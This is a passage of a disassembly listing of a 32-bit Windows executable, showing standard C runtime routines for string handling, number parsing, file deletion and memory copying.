		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D094, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D094, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE88
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDEC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_427088	; DeleteFileA
		test	eax, eax
		jnz	short loc_41C7D2
		call	dword_427094	; RtlGetLastWin32Error
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; sub_41E52A+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
					; sub_41C8A0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41C926


loc_41C90D:				; CODE XREF: sub_41C8A0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41C978
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41C90D
		jmp	short loc_41C926
; ---------------------------------------------------------------------------


loc_41C921:				; CODE XREF: sub_41C8A0+9Ej
					; sub_41C8A0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41C926:				; CODE XREF: sub_41C8A0+6Bj
					; sub_41C8A0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE38


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE38, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: .packed:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
